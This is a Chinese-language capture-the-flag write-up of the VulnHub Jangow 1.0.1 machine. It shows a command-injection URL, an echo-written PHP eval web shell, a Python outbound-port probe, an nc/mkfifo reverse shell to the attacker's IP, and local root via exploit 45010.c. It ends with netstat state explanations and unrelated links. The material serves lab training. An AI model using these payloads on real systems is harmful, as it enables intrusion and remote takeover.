来源

vulnhub:https://www.vulnhub.com/entry/jangow-101,754/

描述
难度:简单 这在 VirtualBox 而不是 VMware 上效果更好 我这里用Vmware无法显示IP地址,但是VirtualBox可以。

nmap扫描

nmap -sC -sV -T4 -sS -v 192.168.56.118   

Discovered open port 80/tcp on 192.168.56.118
Discovered open port 25/tcp on 192.168.56.118
Discovered open port 21/tcp on 192.168.56.118
Discovered open port 110/tcp on 192.168.56.118 PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
25/tcp open tcpwrapped
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open tcpwrapped
110/tcp open tcpwrapped

然后再80端口发现一个

http://192.168.56.118/site/busque.php?buscar=
命令执行,文件包含 经测试:命令执行
http://192.168.56.118/site/busque.php?buscar=tac ./wordpress/config.php 发现信息泄露 ?> mysqli_close($conn);
echo "Connected successfully"; }
die("Connection failed: " . mysqli_connect_error());
if (!$conn) { // Check connection
$conn = mysqli_connect($servername, $username, $password, $database); // Create connection
$password = "abygurl69";
$username = "desafio02";
$database = "desafio02";
$servername = "localhost";

没什么用

接着使用使用echo 写码

which nc 回显 /bin/nc
http://192.168.56.118/site/busque.php?buscar=/bin/nc 192.168.56.101 4444 -e /bin/bash 但是弹不上去,估计-e 给搬了 尝试echo 写码,可以成功
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST[x]);?>' >> shell.php 此时在查看就可以发现
http://192.168.56.118/site/busque.php?buscar=ls

蚁剑连接

发现

这个可登录系统

接下来就是弹shell了。

发现是做了端口限制出不去,要测试本地端口是否能够出去,最简单的方法是使用telnet命令。

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet 192.168.56.101 "

for i in range(1, 65536):
try:
payload = url + str(i)
req = requests.get(payload, timeout=0.2)
if "Trying" in req.text:
print(i)
except:
pass

等待时间有点久

利用蚁剑传文件,弹shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
本地监听:nc -lvnp 443

访问:http://192.168.56.118/site/php-reverse-shell.php
即可成功

默认情况下,这些shell非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且通常具有奇怪的格式错误。

此时which python3,存在

使用python稳定shell:https://www.cnblogs.com/-Lucky-/p/17160172.html

此时成功拿到

然后就是权限提升

找了很久,,,,最后发现是版本问题

可利用的poc

最后发现是45010.c

也可以使用

开个web服务,远程下载(可能因为权限原因,在www-data下才可以下载)(我在/ 目录下下载失败,并且在/site/下载编译后的文件运行失败,最后还是下载45010.c,然后再编译的)

总结疑问

思路:web端,发现命令执行漏洞后,直接echo 写码,蚁剑连接。然后使用python测试进出端口-->443

反弹shell即可,最后使用python开启web服务,或使用ftp服务上传文件,蚁剑上传也可以,然后就是root权限

疑问

443端口已经弹shell了,为什么开启http服务,并没有中断,还可以下载文件

然后就发现下面的情况

开启443web服务后

上传文件

上传文件后端口状态发生了改变

"ESTABLISHED" 指的是 TCP/IP 连接已经建立,并且数据可以在两个端点之间互相传输。在网络通信中,TCP是一种可靠的传输协议,它需要在客户端和服务器之间建立连接,以保证传输数据的可靠性。

在TCP连接建立后,网络状态将变为 ESTABLISHED 状态。在这个状态下,客户端和服务器之间的数据传输可以进行,并且双方都可以发送和接收数据。当数据传输完成后,连接将被断开,状态将变为 CLOSED。

在网络通信问题排查过程中,查看网络状态是非常有用的方式。当客户端连接到服务器时,可以使用netstat命令来查看当前系统的网络状态信息。例如,可以使用以下命令查看本机与目标主机之间的连接状态:

netstat -an | grep 远程主机IP | grep ESTABLISHED
该命令将列出本机与指定远程主机之间的已建立连接信息。如果输出结果中的State字段为ESTABLISHED,则表示连接已经建立。 总之,ESTABLISHED 表示已经建立了一条 TCP/IP 连接,并且可以进行数据传输。 "TIME_WAIT" 是 TCP/IP 协议中一个重要的状态,它是在 TCP 连接关闭时产生的一种暂时状态。当 TCP 连接被主动关闭时,连接的一端将进入 TIME_WAIT 状态,等待 2 × MSL(Maximum Segment Lifetime,最大分段生存时间)的时间后才会关闭。 在 TIME_WAIT 状态下,TCP 连接已经被关闭,但是还没有完全终止。这个状态会持续一段时间,因为有可能会收到对之前连接上发送的数据的确认(ACK)。如果收到确认,就说明之前的连接仍然存在,需要等待确认超时或者两倍的最大分段生存时间后才能彻底关闭这个连接。 TIME_WAIT 状态的持续时间是有限制的,通常是几分钟到几十分钟不等。在这个时间内,连接不能被重用,会占用系统资源。如果有大量的 TIME_WAIT 状态的连接存在,可能会导致系统性能下降。 在网络故障分析和调试中,TIME_WAIT 状态是一个非常重要的指标。在使用 netstat 等工具查看网络状态时,如果看到大量的 TIME_WAIT 状态的连接,可能说明系统的网络连接负载比较大,需要进一步排查问题。 "LISTEN" 是 TCP/IP 协议中一个重要的状态,表示当前正在监听指定端口号的网络连接请求。当一个服务器程序运行起来后,它通常会监听一个固定的端口号,用于接受来自远程客户端的连接请求。 在 LISTEN 状态下,服务器程序正在等待来自客户端的连接请求。如果有一个客户端请求连接到该端口,并且满足一定的条件,服务器程序会创建一个新的 TCP 连接,将其分配给该客户端,并进入 ESTABLISHED 状态。在 LISTEN 状态下,服务器程序可以同时处理多个客户端的连接请求,这也是 TCP/IP 网络通信的一个典型特征。 在使用 netstat 命令等工具查看网络状态时,可以通过以下命令查看本机正在监听的端口号: netstat -an | grep LISTEN
该命令会列出当前正在监听的所有端口号和协议类型。如果输出结果中的State字段为 LISTEN,则表示该端口正在被该主机上的一个程序监听。如果出现大量的 LISTEN 状态的连接,可能说明有多个服务程序在运行,需要进一步排查问题。 总之,LISTEN 状态表示当前正在监听指定端口号,等待来自远程客户端的连接请求。

随机推荐

  1. Mysql 事务隔离级别和锁的关系

    我们都知道事务的几种性质,数据库为了维护这些性质,尤其是一致性和隔离性,一般使用加锁这种方式.同时数据库又是个高并发的应用,同一时间会有大量的并发访问,如果加锁过度,会极大的降低并发处理能力.所以对于 ...

  2. 寻找区间内第k小的数

    sort排序 这是最直接暴力的方法,时间复杂度为\(O(nlog_n)\) 直接排序,输出第k小的值即可 #include <iostream> #include <algorith ...

  3. c#动态执行字符串脚本(优化版)

    像javascript中有eval()来执行动态代码,c#中是没有的,于是自己动手丰衣足食, 先来代码 1 using System; 2 using System.Data; 3 using Sys ...

  4. selenium验证码处理之机器学习(光学识别ocr技术获取验证码的数据)

    ocr识别库地址: https://github.com/UB-Mannheim/tesseract/wiki 遇到的问题:百度的解释------------------- 遇到的问题2:

  5. Service Mesh之Istio基础入门

    技术背景 分布式服务治理 所谓分布式服务治理就是对服务不断增长的复杂度的管控和管理:管控及管理包含网络拓扑变动.网络延时.通信安全.API网关.服务注册和发现.服务熔断容错.服务超时重试.服务部署.数 ...

  6. 电商平台趋势妙手采集类API接口

    电商平台趋势,平台化.大家可以看到大的电商都开始有自己的平台,其实这个道理很清楚,就是因为这是充分利用自己的流量.自己的商品和服务大效益化的一个过程,因为有平台,可以利用全社会的资源弥补自己商品的丰富 ...

  7. pysimplegui之进度表one_line_progress_meter

    我们的代码中都有循环.'等待,看着文本窗口中滚动过去的计数器不是很快乐吗?一行代码如何获得一个进度表,其中包含有关您的代码的统计信息? one_line_progress_meter(title, c ...

  8. Java线程创建

    程序.进程.线程 程序:指令和数据的有序集合,静态 进程:程序的一次执行过程,动态,系统分配资源的单位 线程:一个进程可以包含多个线程,一个进程至少有一个线程,线程是CPU调度的基本单位 线程创建 三 ...

  9. 进程,Process模块,join方法,ipc机制,守护进程

    多道技术: """ 在学习并发编程的过程中 不做刻意提醒的情况下 默认一台计算机就一个CPU(只有一个干活的人) """ 单道技术 所有的程 ...

  10. mysql迁移:xtrabackup迁移mysql5.7.32

    问题描述:利用外部xtrabackup工具来做迁移mysql数据库,或者恢复数据库 xtrabackup迁移mysql 1.环境 mysql源库 mysql目标迁移库 IP 192.168.163.3 ...